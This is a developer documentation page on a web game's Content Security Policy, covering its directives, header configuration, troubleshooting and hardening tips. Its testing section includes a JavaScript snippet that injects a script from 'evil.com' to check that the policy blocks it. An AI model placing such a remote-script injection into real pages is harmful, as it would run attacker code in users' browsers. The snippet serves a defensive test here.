​

Content Security Policy (CSP)

​

Overview

​

Current Policy

​

script-src

script-src 'self' 'unsafe-inline' 'unsafe-eval' 
  https://esm.sh 
  https://cdn.jsdelivr.net 
  https://unpkg.com 
  https://static.cloudflareinsights.com

• 'self' - Same origin scripts
• 'unsafe-inline' - Inline scripts (required for Vite HMR)
• 'unsafe-eval' - eval() (required for WASM and some libraries)
• https://esm.sh - ES module CDN
• https://cdn.jsdelivr.net - CDN for dependencies
• https://unpkg.com - npm package CDN
• https://static.cloudflareinsights.com - Cloudflare analytics

​

style-src

style-src 'self' 'unsafe-inline' 
  https://fonts.googleapis.com

• 'self' - Same origin styles
• 'unsafe-inline' - Inline styles (required for styled-components)
• https://fonts.googleapis.com - Google Fonts CSS

​

font-src

font-src 'self' data: 
  https://fonts.gstatic.com

• 'self' - Same origin fonts
• data: - Data URLs for embedded fonts
• https://fonts.gstatic.com - Google Fonts files

​

img-src

img-src 'self' data: blob: 
  https://*.r2.cloudflarestorage.com 
  https://assets.hyperscape.club

• 'self' - Same origin images
• data: - Data URLs for embedded images
• blob: - Blob URLs for generated images
• https://*.r2.cloudflarestorage.com - Cloudflare R2 CDN
• https://assets.hyperscape.club - Asset CDN

​

connect-src

connect-src 'self' 
  ws://localhost:* 
  wss://localhost:* 
  ws://*.hyperscape.gg 
  wss://*.hyperscape.gg 
  https://*.hyperscape.gg 
  https://api.privy.io 
  https://auth.privy.io

• 'self' - Same origin connections
• ws://localhost:* / wss://localhost:* - Local WebSocket (development)
• ws://*.hyperscape.gg / wss://*.hyperscape.gg - Production WebSocket
• https://*.hyperscape.gg - Production API
• https://api.privy.io - Privy authentication
• https://auth.privy.io - Privy auth endpoints

​

worker-src

worker-src 'self' blob: data:

• 'self' - Same origin workers
• blob: - Blob URLs for workers
• data: - Data URLs for WASM workers

​

child-src

child-src 'self' blob:

​

frame-src

frame-src 'self' 
  https://verify.walletconnect.com 
  https://verify.walletconnect.org 
  https://auth.privy.io

• 'self' - Same origin iframes
• https://verify.walletconnect.com - WalletConnect verification
• https://verify.walletconnect.org - WalletConnect verification
• https://auth.privy.io - Privy auth iframe

​

Recent Changes

​

February 2026 Updates

​

1. Cloudflare Insights Support

​

2. Google Fonts Support

• https://fonts.googleapis.com to style-src
• https://fonts.gstatic.com to font-src

​

3. WASM Data URLs

​

Configuration

​

Vite Configuration

export default defineConfig({
  plugins: [
    {
      name: 'csp-headers',
      configureServer(server) {
        server.middlewares.use((req, res, next) => {
          res.setHeader('Content-Security-Policy', CSP_POLICY);
          next();
        });
      }
    }
  ]
});

​

Production Headers

/*
  Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://esm.sh https://cdn.jsdelivr.net https://unpkg.com https://static.cloudflareinsights.com; ...

​

Troubleshooting

​

CSP Violation Errors

Refused to load the script 'https://example.com/script.js' because it violates the following Content Security Policy directive: "script-src 'self' ..."

1. Identify the blocked resource
2. Verify it’s necessary and trusted
3. Add to appropriate CSP directive
4. Test in development
5. Deploy to production

​

WASM Loading Blocked

Refused to load worker from 'data:...' because it violates CSP directive "worker-src 'self'"

​

Font Loading Blocked

style-src: https://fonts.googleapis.com
font-src: https://fonts.gstatic.com

​

Security Best Practices

​

1. Minimize ‘unsafe-*’ Directives

• 'unsafe-inline' - Required for styled-components and Vite HMR
• 'unsafe-eval' - Required for WASM and some dependencies

• Using nonces for inline scripts
• Migrating away from eval-dependent libraries

​

2. Restrict CDN Sources

• ✅ esm.sh - ES module CDN (trusted)
• ✅ cdn.jsdelivr.net - npm CDN (trusted)
• ✅ unpkg.com - npm CDN (trusted)
• ❌ cdn.example.com - Unknown CDN (blocked)

​

3. Use Subresource Integrity (SRI)

<script 
  src="https://cdn.jsdelivr.net/npm/three@0.180.0/build/three.module.js"
  integrity="sha384-..."
  crossorigin="anonymous"
></script>

​

4. Monitor CSP Reports

Content-Security-Policy-Report-Only: ...; report-uri /api/csp-report

​

Testing

​

Validate CSP

# Check CSP headers in development
curl -I http://localhost:3333

# Check CSP headers in production
curl -I https://hyperscape.gg

​

Test CSP Violations

// Intentionally violate CSP to test blocking
const script = document.createElement('script');
script.src = 'https://evil.com/malicious.js';
document.body.appendChild(script);
// Should be blocked by CSP

​

References

• Configuration: packages/client/vite.config.ts
• Production Headers: packages/client/public/_headers
• CSP Spec: MDN Content Security Policy
• CSP Evaluator: Google CSP Evaluator